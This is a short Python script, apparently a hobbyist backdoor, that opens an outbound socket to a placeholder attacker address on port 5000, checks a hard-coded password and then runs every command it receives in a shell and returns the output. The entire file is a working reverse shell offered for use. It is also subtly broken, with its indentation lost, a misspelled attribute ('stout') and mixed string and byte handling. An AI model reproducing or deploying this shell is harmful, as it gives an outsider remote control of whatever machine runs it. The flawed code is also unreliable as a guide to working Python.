import subprocess #process commands
import socket #process socket data
import sys
host = "xxx.xxx.xxx.xxx" #to go to server
port = 5000 #the port that goes to the server
passwd = 's3cr3t' #password
#check password
def Login():
global s
s.send(bytes("Login: "))
pwd = s.recv(1024)
if pwd.strip() != passwd:
Login()
else:
s.send("Connected! #> ")
Shell()
#execute shell commands
def Shell():
while True:
data = s.recv(1024)
if data.strip() == ":kill":
break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output = proc.stout.read() + proc.stderr.read()
s.send(output)
s.send("#> ")
#start script
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
Login()